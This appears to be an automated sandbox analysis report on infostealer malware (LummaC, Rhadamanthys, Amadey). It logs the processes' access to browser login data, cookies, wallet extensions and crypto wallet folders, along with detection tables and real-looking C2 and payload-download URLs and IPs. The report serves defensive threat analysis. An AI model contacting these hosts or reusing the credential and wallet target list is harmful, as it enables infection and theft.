Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: Yara match	File source: 0000000D.00000002.3381728843.00000000012A7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3380643533.0000000000C99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 5639a58f3b.exe PID: 340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 850609077b.exe PID: 4196, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 5639a58f3b.exe PID: 340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 850609077b.exe PID: 4196, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 0000002A.00000003.3314605880.0000000005700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.3336661213.00000000034C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000003.3318038166.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000003.3318224508.0000000005930000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0063EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		6_2_0063EC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0063DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		6_2_0063DF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	2 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	412 Process Injection	41 Obfuscated Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	3 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	11 Scheduled Task/Job	11 Scheduled Task/Job	121 Software Packing	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	11 Scheduled Task/Job	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	355 System Information Discovery	Distributed Component Object Model	21 Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	1071 Security Software Discovery	SSH	2 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	261 Virtualization/Sandbox Evasion	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	412 Process Injection	DCSync	261 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	53%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	57%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	100%	Avira	HEUR/AGEN.1352802
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	100%	Avira	HEUR/AGEN.1352802
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	75%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	75%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1016870001\7c1324dac5.exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	53%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\main\7z.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\7z.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	67%	ReversingLabs	Win64.Trojan.Nekark
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	67%	ReversingLabs	Win64.Trojan.Nekark

Source	Detection	Scanner	Label
pancakedipyps.click	0%	Avira URL Cloud	safe
http://31.41.244.11/files/fate/random.exeA	0%	Avira URL Cloud	safe
https://pancakedipyps.click//	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique3/random.exe0	0%	Avira URL Cloud	safe
http://31.41.244.11/files/dodo/random.exeN	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php871001	100%	Avira URL Cloud	malware
https://grannyejh.lat/apiq	0%	Avira URL Cloud	safe
https://pancakedipyps.click/	0%	Avira URL Cloud	safe
https://grannyejh.lat:443/api	0%	Avira URL Cloud	safe
https://pancakedipyps.click:443/api	0%	Avira URL Cloud	safe
https://pancakedipyps.click/api	0%	Avira URL Cloud	safe
https://grannyejh.lat/9	0%	Avira URL Cloud	safe
https://grannyejh.lat/	0%	Avira URL Cloud	safe
http://31.41.244.11/files/dodo/random.exe8476K3	0%	Avira URL Cloud	safe
http://31.41.244.11/files/dodo/random.exe%3	0%	Avira URL Cloud	safe
http://31.41.244.11/files/dodo/random.exe	100%	Avira URL Cloud	phishing
https://grannyejh.lat/api	0%	Avira URL Cloud	safe
https://grannyejh.lat/apigsK2	0%	Avira URL Cloud	safe
https://pancakedipyps.click/h	0%	Avira URL Cloud	safe
https://pancakedipyps.click/f	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
pancakedipyps.click	104.21.23.76	true	false	high
grannyejh.lat	172.67.179.109	true	true	unknown
sweepyribs.lat	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
pancakedipyps.click	true	Avira URL Cloud: safe	unknown
necklacebudi.lat	false		high
aspecteirs.lat	false		high
http://185.215.113.43/Zu7JuNko/index.php	false		high
sustainskelet.lat	false		high
crosshuaht.lat	false		high
rapeflowwj.lat	false		high
https://pancakedipyps.click/api	true	Avira URL Cloud: safe	unknown
energyaffai.lat	false		high
https://grannyejh.lat/api	true	Avira URL Cloud: safe	unknown
grannyejh.lat	false		high
discokeyus.lat	false		high
https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	5639a58f3b.exe, 0000000A.00000003.3208648876.0000000003879000.00000004.00000800.00020000.00000000.sdmp, 5639a58f3b.exe, 0000000A.00000003.3208546066.000000000387B000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240472156.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240286170.0000000003A9A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpY	skotes.exe, 00000006.00000002.3384635500.00000000010F4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	5639a58f3b.exe, 0000000A.00000003.3208648876.0000000003879000.00000004.00000800.00020000.00000000.sdmp, 5639a58f3b.exe, 0000000A.00000003.3208546066.000000000387B000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240472156.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240286170.0000000003A9A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique3/random.exe0	skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	skotes.exe, 00000006.00000002.3384635500.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.0000000001113000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp, 850609077b.exe, 0000000B.00000002.3026991513.0000000000D81000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	skotes.exe, 00000006.00000002.3384635500.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp, 850609077b.exe, 0000000B.00000002.3026991513.0000000000D81000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	skotes.exe, 00000006.00000002.3384635500.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.0000000001113000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp, 850609077b.exe, 0000000B.00000002.3026991513.0000000000D81000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique3/random.exe	skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	5639a58f3b.exe, 0000000A.00000003.3208648876.0000000003879000.00000004.00000800.00020000.00000000.sdmp, 5639a58f3b.exe, 0000000A.00000003.3208546066.000000000387B000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240472156.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240286170.0000000003A9A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/fate/random.exe	skotes.exe, 00000006.00000002.3384635500.00000000010F4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpncoded	skotes.exe, 00000006.00000002.3384635500.00000000010F4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	skotes.exe, 00000006.00000002.3384635500.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp, 850609077b.exe, 0000000B.00000002.3026991513.0000000000D81000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpH	skotes.exe, 00000006.00000002.3384635500.00000000010F4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpnu	skotes.exe, 00000006.00000002.3384635500.0000000001113000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/fate/random.exeA	skotes.exe, 00000006.00000002.3384635500.00000000010F4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pancakedipyps.click/	850609077b.exe, 0000000D.00000002.3381728843.00000000012A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pancakedipyps.click:443/api	850609077b.exe, 0000000D.00000002.3381728843.000000000125A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	skotes.exe, 00000006.00000002.3384635500.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.0000000001113000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp, 850609077b.exe, 0000000B.00000002.3026991513.0000000000D81000.00000004.00000020.00020000.00000000.sdmp	false		high
https://grannyejh.lat/apiq	5639a58f3b.exe, 0000000A.00000002.3384196465.000000000383A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
